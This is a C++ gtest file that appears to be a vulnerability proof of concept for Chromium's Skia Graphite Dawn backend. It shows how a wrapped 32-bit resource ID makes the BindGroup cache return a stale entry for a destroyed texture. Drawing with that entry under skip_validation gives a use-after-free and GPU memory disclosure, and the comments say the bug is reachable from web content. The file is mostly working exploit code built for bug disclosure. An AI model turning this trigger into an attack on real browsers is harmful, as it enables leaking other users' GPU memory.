// POC: 32-bit Resource::uniqueID wraparound returns stale wgpu::BindGroup
// referencing a Destroy()ed texture on Graphite's skip_validation Dawn device.
//
// skgpu::graphite::Resource assigns IDs from a process-global
// std::atomic<uint32_t>. DawnResourceProvider caches wgpu::BindGroup objects in
// an SkLRUCache keyed *only* on {sampler->uniqueID(), texture->uniqueID()}.
// The cache is never invalidated when an individual DawnTexture is destroyed.
// After ~2^32 Resource constructions the counter wraps; a new DawnTexture
// receives a uniqueID equal to one whose stale BindGroup is still in the LRU,
// and findOrCreateSingleTextureSamplerBindGroup returns the stale BindGroup
// whose VkDescriptorSet references a freed VkImageView.
//
// In production this is reachable from web content (canvas raster drives
// Graphite in the GPU process) but requires hours-to-days of churn to reach
// 2^32 Resource constructions. This test uses a counter-reset hook to simulate
// the wraparound — it does not bypass any security check, only accelerates a
// time-based precondition.

#include "base/logging.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/dawn/include/dawn/dawn_proc.h"
#include "third_party/dawn/include/dawn/native/DawnNative.h"  // nogncheck
#include "third_party/skia/include/gpu/graphite/Context.h"
#include "third_party/skia/include/gpu/graphite/ContextOptions.h"
#include "third_party/skia/include/gpu/graphite/Recorder.h"
#include "third_party/skia/include/gpu/graphite/dawn/DawnBackendContext.h"
#include "third_party/skia/include/gpu/graphite/dawn/DawnGraphiteTypes.h"

// Private Skia Graphite headers (chromium has third_party/skia/ on the include
// path for gpu_unittests, and //skia is a static library so internal symbols
// are linkable).
#include "src/gpu/graphite/ContextPriv.h"
#include "src/gpu/graphite/RecorderPriv.h"
#include "src/gpu/graphite/ResourceTypes.h"
#include "src/gpu/graphite/dawn/DawnResourceProvider.h"
#include "src/gpu/graphite/dawn/DawnSampler.h"
#include "src/gpu/graphite/dawn/DawnSharedContext.h"
#include "src/gpu/graphite/dawn/DawnTexture.h"

// POC-only counter hooks added to third_party/skia/src/gpu/graphite/Resource.cpp
extern "C" void skgpu_graphite_set_resource_id_counter_for_testing(uint32_t);
extern "C" uint32_t skgpu_graphite_get_resource_id_counter_for_testing();

namespace gpu {
namespace {

class GraphiteDawnBindGroupUafTest : public testing::Test {
 protected:
  void SetUp() override {
    dawnProcSetProcs(&dawn::native::GetProcs());

    wgpu::InstanceDescriptor instance_desc = {};
    static constexpr auto kTimedWaitAny =
        wgpu::InstanceFeatureName::TimedWaitAny;
    instance_desc.requiredFeatureCount = 1;
    instance_desc.requiredFeatures = &kTimedWaitAny;
    instance_ = std::make_unique<dawn::native::Instance>(&instance_desc);

    wgpu::RequestAdapterOptions options = {};
    // Use Vulkan + SwiftShader so the test can run in a headless environment
    // and so Destroy() actually frees a VkImageView. This matches the
    // production Linux/Android/ChromeOS configuration where Graphite uses the
    // Dawn Vulkan backend.
    options.backendType = wgpu::BackendType::Vulkan;
    options.forceFallbackAdapter = true;
    options.featureLevel = wgpu::FeatureLevel::Core;

    auto adapters = instance_->EnumerateAdapters(&options);
    ASSERT_FALSE(adapters.empty()) << "No Vulkan/SwiftShader adapter";

    // Enable the same `skip_validation` toggle Chrome's Graphite Dawn device
    // uses in release builds (gpu_finch_features.cc:359-361 ->
    // dawn_context_provider.cc:173-175). With this toggle, Queue::Submit
    // skips ValidateSubmit(), which is the only path that checks
    // TextureBase::mState.destroyed.
    const char* enabled_toggles[] = {"skip_validation"};
    wgpu::DawnTogglesDescriptor toggles = {};
    toggles.enabledToggles = enabled_toggles;
    toggles.enabledToggleCount = std::size(enabled_toggles);

    wgpu::DeviceDescriptor device_desc = {};
    device_desc.nextInChain = &toggles;
    device_desc.SetUncapturedErrorCallback(
        [](const wgpu::Device&, wgpu::ErrorType, wgpu::StringView msg) {
          LOG(ERROR) << "[Dawn] " << std::string_view(msg);
        });

    device_ = wgpu::Adapter(adapters[0].Get()).CreateDevice(&device_desc);
    ASSERT_TRUE(device_);

    skgpu::graphite::DawnBackendContext backend_context = {};
    backend_context.fInstance = wgpu::Instance(instance_->Get());
    backend_context.fDevice = device_;
    backend_context.fQueue = device_.GetQueue();

    skgpu::graphite::ContextOptions context_options = {};
    context_ = skgpu::graphite::ContextFactory::MakeDawn(backend_context,
                                                         context_options);
    ASSERT_TRUE(context_);

    recorder_ = context_->makeRecorder();
    ASSERT_TRUE(recorder_);
  }

  void DrainQueue() {
    // Submit empty work and pump events/Tick so the Vulkan queue advances past
    // the current pending serial and FencedDeleter actually frees handles.
    for (int i = 0; i < 4; ++i) {
      device_.GetQueue().Submit(0, nullptr);
      while (dawn::native::InstanceProcessEvents(instance_->Get())) {
      }
      device_.Tick();
    }
  }

  // A trivial pipeline whose fragment shader samples a texture_2d<f32> through
  // group(0) — the same layout Skia's single-texture-sampler BindGroup uses.
  wgpu::RenderPipeline MakeSamplePipeline(
      const wgpu::BindGroupLayout& tex_layout) {
    wgpu::ShaderSourceWGSL wgsl;
    wgsl.code = R"(
        @group(0) @binding(0) var s : sampler;
        @group(0) @binding(1) var t : texture_2d<f32>;
        @vertex fn vs(@builtin(vertex_index) i : u32) -> @builtin(position) vec4f {
          var p = array<vec2f,3>(vec2f(-1,-1), vec2f(3,-1), vec2f(-1,3));
          return vec4f(p[i], 0, 1);
        }
        @fragment fn fs() -> @location(0) vec4f {
          return textureSample(t, s, vec2f(0.5, 0.5));
        })";
    wgpu::ShaderModuleDescriptor sm_desc;
    sm_desc.nextInChain = &wgsl;
    wgpu::ShaderModule sm = device_.CreateShaderModule(&sm_desc);

    wgpu::PipelineLayoutDescriptor pl_desc;
    pl_desc.bindGroupLayoutCount = 1;
    pl_desc.bindGroupLayouts = &tex_layout;
    wgpu::PipelineLayout pl = device_.CreatePipelineLayout(&pl_desc);

    wgpu::ColorTargetState color_target;
    color_target.format = wgpu::TextureFormat::RGBA8Unorm;
    wgpu::FragmentState frag;
    frag.module = sm;
    frag.entryPoint = "fs";
    frag.targetCount = 1;
    frag.targets = &color_target;

    wgpu::RenderPipelineDescriptor rp_desc;
    rp_desc.layout = pl;
    rp_desc.vertex.module = sm;
    rp_desc.vertex.entryPoint = "vs";
    rp_desc.fragment = &frag;
    return device_.CreateRenderPipeline(&rp_desc);
  }

  void DrawWithBindGroup(const wgpu::RenderPipeline& pipe,
                         const wgpu::TextureView& rt_view,
                         const wgpu::BindGroup& bg) {
    wgpu::RenderPassColorAttachment color = {};
    color.view = rt_view;
    color.loadOp = wgpu::LoadOp::Clear;
    color.storeOp = wgpu::StoreOp::Store;
    color.clearValue = {0, 0, 0, 0};
    wgpu::RenderPassDescriptor rp_desc = {};
    rp_desc.colorAttachmentCount = 1;
    rp_desc.colorAttachments = &color;

    wgpu::CommandEncoder enc = device_.CreateCommandEncoder();
    wgpu::RenderPassEncoder pass = enc.BeginRenderPass(&rp_desc);
    pass.SetPipeline(pipe);
    pass.SetBindGroup(0, bg);
    pass.Draw(3);
    pass.End();
    wgpu::CommandBuffer cb = enc.Finish();
    device_.GetQueue().Submit(1, &cb);
  }

  std::unique_ptr<dawn::native::Instance> instance_;
  wgpu::Device device_;
  std::unique_ptr<skgpu::graphite::Context> context_;
  std::unique_ptr<skgpu::graphite::Recorder> recorder_;
};

TEST_F(GraphiteDawnBindGroupUafTest, StaleBindGroupOnUniqueIDWrap) {
  using namespace skgpu::graphite;

  auto* shared_ctx =
      static_cast<DawnSharedContext*>(context_->priv().sharedContext());
  auto* provider = static_cast<DawnResourceProvider*>(
      recorder_->priv().resourceProvider());

  // Render target + pipeline using Skia's single-texture-sampler layout.
  wgpu::TextureDescriptor rt_desc = {};
  rt_desc.size = {16, 16, 1};
  rt_desc.format = wgpu::TextureFormat::RGBA8Unorm;
  rt_desc.usage =
      wgpu::TextureUsage::RenderAttachment | wgpu::TextureUsage::CopySrc;
  wgpu::Texture rt = device_.CreateTexture(&rt_desc);
  wgpu::TextureView rt_view = rt.CreateView();
  wgpu::RenderPipeline pipe =
      MakeSamplePipeline(shared_ctx->getSingleTextureSamplerBindGroupLayout());
  ASSERT_TRUE(pipe);

  // 1. Sampler (created first so its ID stays fixed across the wrap).
  sk_sp<DawnSampler> sampler = DawnSampler::Make(shared_ctx, SamplerDesc());
  ASSERT_TRUE(sampler);

  DawnTextureInfo tex_info;
  tex_info.fSampleCount = SampleCount::k1;
  tex_info.fMipmapped = skgpu::Mipmapped::kNo;
  tex_info.fFormat = wgpu::TextureFormat::RGBA8Unorm;
  tex_info.fUsage =
      wgpu::TextureUsage::TextureBinding | wgpu::TextureUsage::CopyDst;

  // 2. Record the counter value, then create texture T1. Its uniqueID will be
  //    `counter_before_t1`.
  uint32_t counter_before_t1 =
      skgpu_graphite_get_resource_id_counter_for_testing();
  sk_sp<Texture> t1 = DawnTexture::Make(shared_ctx, SkISize::Make(16, 16),
                                        TextureInfos::MakeDawn(tex_info), "T1");
  ASSERT_TRUE(t1);
  auto* dt1 = static_cast<DawnTexture*>(t1.get());
  uint32_t t1_id = dt1->uniqueID().asUInt();
  ASSERT_EQ(t1_id, counter_before_t1);

  // Upload pixels so T1 is marked initialized — the production scenario has
  // T1 holding real image data. This ensures the later (stale) use does not
  // take Dawn's lazy-clear path.
  {
    std::vector<uint8_t> pixels(16 * 16 * 4, 0xCC);
    wgpu::TexelCopyTextureInfo dst = {};
    dst.texture = dt1->dawnTexture();
    wgpu::TexelCopyBufferLayout layout = {};
    layout.bytesPerRow = 16 * 4;
    wgpu::Extent3D ext = {16, 16, 1};
    device_.GetQueue().WriteTexture(&dst, pixels.data(), pixels.size(), &layout,
                                    &ext);
  }

  // 3. Cache a BindGroup for {sampler, T1} and use it in a draw so T1's last
  //    Vulkan usage is TextureBinding/Fragment. Per TextureVk.cpp:918-924,
  //    CanReuseWithoutBarrier(TextureBinding,TextureBinding) is then true and
  //    no barrier on the (later VK_NULL_HANDLE) image will be emitted.
  wgpu::BindGroup bg1 =
      provider->findOrCreateSingleTextureSamplerBindGroup(sampler.get(), dt1);
  ASSERT_TRUE(bg1);
  WGPUTextureView t1_view = dt1->sampleTextureView().Get();
  LOG(ERROR) << "[POC] Cached BindGroup " << (void*)bg1.Get()
             << " for T1 (uniqueID=" << t1_id << ", view=" << (void*)t1_view
             << ")";
  DrawWithBindGroup(pipe, rt_view, bg1);
  DrainQueue();

  // 4. Simulate ResourceCache eviction → DawnTexture::freeGpuData() →
  //    wgpu::Texture::Destroy(). The cached BindGroup still holds a Ref<> to
  //    the C++ TextureViewBase, but on Vulkan, TextureBase::DestroyImpl
  //    force-destroys all views and hands the VkImageView to FencedDeleter.
  wgpu::Texture t1_dawn_texture = dt1->dawnTexture();
  ASSERT_TRUE(t1_dawn_texture);
  t1_dawn_texture.Destroy();
  t1.reset();
  dt1 = nullptr;

  // 5. Advance the queue past the pending serial so FencedDeleter actually
  //    calls vkDestroyImageView / vkDestroyImage / vkFreeMemory on T1.
  DrainQueue();

  // 6. *** Simulate the 32-bit counter wrapping back to T1's value. ***
  //    In production this happens after ~2^32 Resource constructions driven by
  //    a renderer's canvas raster work (hours-to-days of a pinned tab).
  skgpu_graphite_set_resource_id_counter_for_testing(counter_before_t1);

  // 7. Create a brand-new texture T2. Because the counter has wrapped, it gets
  //    the SAME uniqueID as T1 had.
  sk_sp<Texture> t2 = DawnTexture::Make(shared_ctx, SkISize::Make(16, 16),
                                        TextureInfos::MakeDawn(tex_info), "T2");
  ASSERT_TRUE(t2);
  auto* dt2 = static_cast<DawnTexture*>(t2.get());
  uint32_t t2_id = dt2->uniqueID().asUInt();
  WGPUTextureView t2_view = dt2->sampleTextureView().Get();
  LOG(ERROR) << "[POC] Created T2 (uniqueID=" << t2_id
             << ", view=" << (void*)t2_view << ") -- collides with T1's ID";

  // The collision is the precondition for the bug.
  ASSERT_EQ(t1_id, t2_id) << "Counter reset did not produce ID collision";
  // Sanity: T2 is a genuinely different GPU resource.
  ASSERT_NE(t1_view, t2_view);

  // 8. Look up a BindGroup for {sampler, T2}. Because the cache key is built
  //    purely from 32-bit uniqueIDs, this hits the entry created for T1 — a
  //    BindGroup whose VkDescriptorSet still references T1's now-freed
  //    VkImageView.
  wgpu::BindGroup bg2 =
      provider->findOrCreateSingleTextureSamplerBindGroup(sampler.get(), dt2);
  ASSERT_TRUE(bg2);
  LOG(ERROR) << "[POC] Lookup for T2 returned BindGroup " << (void*)bg2.Get()
             << " (T1's was " << (void*)bg1.Get() << ")";

  // *** THE BUG ***
  // bg2 should be a fresh BindGroup referencing T2's view. Instead it is the
  // exact same wgpu::BindGroup object created for T1, whose underlying texture
  // has been Destroy()ed.
  EXPECT_EQ(bg1.Get(), bg2.Get())
      << "If these differ the cache was correctly invalidated; "
      << "the vulnerability is that they are equal.";

  if (bg1.Get() == bg2.Get()) {
    LOG(ERROR) << "[POC] *** STALE CACHE HIT CONFIRMED: BindGroup for "
                  "Destroy()ed texture T1 returned for fresh texture T2 ***";
  }

  // 9. Draw using the stale BindGroup. Because skip_validation is enabled,
  //    QueueBase::SubmitImpl skips ValidateSubmit() (Queue.cpp:665-669) and
  //    never checks TextureBase::ValidateCanUseInSubmitNow on the destroyed
  //    texture. The Vulkan recording loop binds the stale VkDescriptorSet and
  //    the fragment shader samples through T1's freed VkImageView. Under
  //    SwiftShader+ASAN this surfaces as a heap-use-after-free; on hardware it
  //    is read-only GPU-memory disclosure.
  LOG(ERROR) << "[POC] Drawing with stale BindGroup (samples freed "
                "VkImageView)...";
  DrawWithBindGroup(pipe, rt_view, bg2);
  DrainQueue();
  LOG(ERROR) << "[POC] Draw with stale BindGroup completed without ASAN/SEGV "
                "(on hardware: GPU memory disclosed via readback)";
}

}  // namespace
}  // namespace gpu